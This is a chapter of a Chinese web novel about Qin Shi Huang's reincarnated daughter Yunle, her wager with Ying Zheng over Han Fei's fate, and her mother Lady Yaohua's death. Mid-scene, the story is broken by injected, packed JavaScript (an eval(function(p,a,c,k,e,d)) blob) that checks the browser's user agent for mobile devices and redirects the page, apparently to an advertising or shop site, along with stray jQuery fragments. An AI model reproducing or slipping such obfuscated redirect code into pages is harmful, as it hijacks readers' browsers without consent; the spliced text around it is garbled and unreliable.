6. 赌约(修)

作品:《皇帝是怎样练成的

    父女两人难得有机会夜谈,嬴政一边批阅奏折,一边对云乐说:“寡人命韩非担任你的老师,如何?”


    云乐本已经昏昏欲睡,闻言顿时惊醒过来,奇异地看了眼嬴政。


    “你那是什么眼神?”


    云乐收回视线,看着低眉顺眼,说出口的话却截然相反:“女儿以为,不如何。”


    “哦?”


    嬴政显然对云乐的回答十分感兴趣,将她提溜到蒲团上静待下文。


    “阿父认为,公子非是一个怎样的人呢?”


    “大才。”


    “除此之外呢?”


    “……”


    “那我换一个问题,阿父可有思考过,公子非是如何看待韩国的?”


    “自然。”嬴政虽然觉得这个问题有些不舒服,仍旧皱着眉回答。


    “所以我认为他不能。”云乐直视嬴政,神色笃定。


    嬴政不服气,但是嬴政不说。


    云乐见此对他微微一笑:“阿父可要与我赌一把?”


    “赌?”嬴政玩味:“博戏争财者黥为城旦舂。”


    “……”靓崽无语:“儿臣所言,仅为博戏,并无争财。”


    “秦律学得不错。”嬴政感觉有点新鲜,“赌什么?”


    “公子非的命。”


    韩非,我就试一试,能救救,不行拉倒,至少试过了,问心无愧。


    “若他不能为父王所用……”她眼神坚定地望向大秦的王:“儿臣恳请父王保下公子非的命。”


    云乐一出手就先掀开了自己的老底。


    这不是一个想要谈判的人该做的事情,但是面对嬴政,云乐乐意尽可能地袒露全部。


    保下……嬴政细细品味这两个字。


    真是奇怪的感觉啊。


    “你认为谁会要了韩非的命呢?”


    “李斯。”


    这种仿佛站在了事件的结尾,向朕发出请求的错觉。


    更奇怪的是,她好像不曾掩饰自己的特殊。


    “为何?你方才看到李斯神色不对了?”


    啊?原来刚刚屋里那个就是李斯?


    云乐一脸震惊,嬴政也在瞳孔地震。


    “你不知那是廷尉李斯?”


    那你从哪知道的李斯?!


    云乐下意识摇头。


    嬴政细细观察着云乐,那双眼睛仿佛冬日清潭,倒映着嬴政。


    一个青涩疏离,一个初露锋芒。


    一个冷漠却坦诚,一个果决又克制。


    以前怎么没有注意,这个孩子如此特殊呢。


    不知样貌,不知职位,却断言未来。


    “……若是寡人不愿意呢?”


    “那我也没办法了,救不了就等死。”


    “不再试试?他算是你的舅舅呢。”


    “没有必要。”


    云乐自认是个普通人,没那么大的本事,也没那么大的能量救下一个封建帝国统治者想要杀的人,更何况……


    “天下英才如过江之鲫,没了这个也有下一个。”云乐毫不掩饰自己的冷漠,“救下韩非固然好,但在我心里,这个世界上父王才是最重要的。”


    如果无力改变,那就随波逐流。


    自从系统出现,她就已经做好了一辈子回不了家的准备。


    既然如此,自然是系统越想干什么,云乐越不乐意做什么。


    什么推动科技进步,文明发展,在云乐心里都是狗屁,她觉得现在挺好的,也很满意历史最终的发展,根本没必要推动历史走向未知。


    万一越推结果越差怎么办?她只想要千年后世界依旧,别的根本无所谓。


    嬴政嘴角不自觉地勾起:“云乐爱我。”


    好像……还是有点所谓的。


    云乐差点被诱惑了,她掐了掐手掌心,冲着嬴政露出一个腼腆的笑容。


    “不过赌约,寡人不应。”


    啊?为什么?


    “你倒是打了个好算盘,若是按照你的赌约来,岂不是无论输赢,你都不亏。”


    反正韩非的命,肯定丢不了了。


    云乐嘿嘿一笑,不语。


    “所以不行,如此以来,输赢与你我而言根本无意义。”


    云乐思索片刻:“那换一个赌约,如何?”


    “你先说说看。”


    “那……就赌廷尉是否会瞒着你杀了公子非,如何?”


    “可以,寡人赌李斯不会。”


    “那我就赌廷尉会。”


    “赌注?”


    “若我赢了,阿父一定要在廷尉之前救下韩非。”


    “若你输了?”


    “儿有办法令天下英才尽入我大秦。”云乐笑得狡黠:“如何?相信我,阿父怎么都不会亏。”


    嬴政闻言,发出了富豪的笑声:“寡人应了。”


    她的身体下意识朝嬴政扑去,抱着手臂摇摇晃晃:“阿父真好!爱你!”


    心里却有点惶恐无助,这么干……究竟是不是一件好事呢。


    数日后,韩非上书秦王政,力主先伐赵,缓灭韩。


    章台宫内,嬴政将简牍递给云乐:“你早知韩非会上此书?”


    明明是疑问句,嬴政却说得笃定,云乐也不掩饰,直接点了点头:“有所猜测,虽不知具体内容,但我想,必是力劝阿父先伐赵之类的存韩之策。”


    “哼。”嬴政瞥向云乐,眼里写满了你倒是知道得不少。


    两人之间似乎有了默契,嬴政猜测云乐或许身怀奇异,却不挑明,云乐也猜到嬴政肯定怀疑什么,但只要嬴政不问,云乐也就不说。


    两人就这么装模作样地开启了一问一答。


    “其上书之策,言之有理,然寡人疑心其为韩不为秦。”


    “阿父可认为忠心不绝对即是绝对不忠心?”


    嬴政对于此种说法感到新鲜,细想之后又觉得很有道理:“自然。”


    云乐心下叹息,历史的车轮滚滚向前,她无法劝阻韩非不要上书,息了存韩之心,也无力改变嬴政的三观,打消他的怀疑。


    “那阿父意欲何为?”


    嬴政看了云乐一眼:“静观其变。”


    他想知道,为何云乐会笃定李斯会对韩非下手,所以,他放任事情继续发展下去。


    当然,韩非,他想要,云乐所言令天下英才尽入大秦的方法,他也要。


    李斯,若你真的瞒着我,想要对韩非下手……


    嬴政眸色沉沉,思绪翻飞。


    然而,赌约结果还没等到,先等来了瑶华夫人油尽灯枯的消息。


    兰绮宫似乎随着主人的病重而萧条,明明还是精致华丽的,却又透着一股死气。


    云乐沉默地坐在床榻边,看着瑶华夫人像睡美人一样躺在那里。


    过了一会了,她掀开锦被钻了进去,揽住瑶华夫人的手臂,触摸到微凉的手指。


    “你再撑一撑,好不好……”


    我都让秦始皇答应保下韩非了,说不定往后你能常常看见亲人呢。


    瑶华夫人没有回答。


    “……对不起,如果没有我……”


    你是不是能在咸阳宫安然无恙地过一辈子呢?


    有人温柔地抚过头发,轻声叹息:“该说对不起的人,是母妃啊。”


    “没能一直陪着我们阿乐,不能看阿乐长大了,对不起。”


    这怎么能是你的错呢?</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135677|196263||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “往后自己一个人……要好好吃饭,好好睡觉……”


    “天凉了要添衣……不要总是……光着脚跑来跑去,对身体不好。”


    瑶华夫人絮絮叨叨地说,云乐就静静地听。


    我的孩子,她还这么小,宫禁深深,往后若是没人护着……


    她望向云乐,满脸愧怍:“你要爱自己,没有什么比你自己更加重要。”


    云乐抓过抚摸着她的手,抬眼看向瑶华夫人:“我知道,你不要担心,我很会照顾自己的,没有人能让我受委屈。”


    “那就好。”瑶华夫人抱着云乐,恨不得将孩子融进自己的骨血:“天下很大,很美……你一定要好好欣赏。”


    千万不要太早来找母妃,那样母妃会伤心欲绝的。


    “……陪母妃再睡一回儿吧。”


    等云乐在身边安然熟睡后,瑶华夫人悄悄睁开了双眼,她仔细描摹着孩子的面孔,随即命人取笔。


    烛火摇曳,倒映出一位母亲的身影。


    片刻后,一位侍人手捧木盒往章台宫去。


    嬴政还在处理政务,就听见侍人来报,瑶华夫人有东西呈递。


    嬴政搁下笔,打开了木盒,里面不过一张缣帛,两份竹简。


    缣帛上,韩国布防图赫然映入眼帘。


    他沉默片刻,又打开两份竹简,才发现一份是给韩非,劝其勿恋故国,若有余力,请求韩非替自己看顾女儿,另一份则是给他的一封绝笔。


    妾瑶华,入秦侍驾六载,今沉疴难起,大限将至,沥血叩请于大王御前:


    ……天下纷争,列国伐交频频,妾不敢奢求其他,望大王念及舐犊之情,怜云乐孤苦,勿以宗女之身,强遣联姻。愿大王所求皆可得,吾儿云乐岁岁欢愉,无忧无病。


    妾瑶华,顿首再拜。


    秦王政十四年夏,瑶华夫人,薨,时年二十又四。


    云乐面无表情地将束刍、束帛一点点丢进火盆中,眼睛被烟雾熏得通红。


    后知后觉的悲伤淹没了她,云乐在心里默想:二十四岁,正是大学刚刚毕业的年纪。下辈子,一定要晚一点出生,别年纪轻轻就经历这么多痛苦,到时候,说不定我们会成为很好的朋友。


    华阳和阴嫚带着吃食联袂而来,她们不说话,只是陪着云乐,两人不过五六岁,还不懂如何安慰别人,便学着各自母亲的样子,摸摸妹妹的手,给妹妹投喂吃食,就这样轻轻叩响了云乐的心门。


    随后,三位公子也来了,将闾大哭着紧紧抱住云乐:“妹妹!以后我把我的母妃分给你!你不要难过!”


    小屁孩人没多大,力气倒有得是,差点把云乐抱到窒息,吓得剩下几人赶忙把将闾拉开。


    几日后,宫中出现云乐公主在瑶华夫人灵前痛哭流涕,几欲昏厥的传言。


    嬴政听此传闻,特意去学室看了一眼云乐,却发现她看着和往常没什么分别。


    但是无风不起浪,想来孩子心里也是伤心的。


    还是让她忙一点吧,忙一点就不会想太多了。


    随即吩咐侍人,让云乐明日带上作业,和扶苏一起来章台宫。


    云乐大惊,深夜赶工,果然无暇悲痛。


    次日,云乐牵着扶苏的手,睡眼惺忪地往章台宫走去,恍如人机开了自动跟随一般。


    进殿,嬴政果然在处理政务,案旁的简牍堆了一堆又一堆,云乐光是看着,就觉得腰酸背痛,暗自感叹皇帝果然不是谁都能做的。


    环视一周,整个章台宫无一丝变化,除了多出一张生面孔。


    似乎是察觉到了云乐的视线,那人自觉往前一步。


    “臣新任中车府令赵高,见过长公子、见过云乐公主。”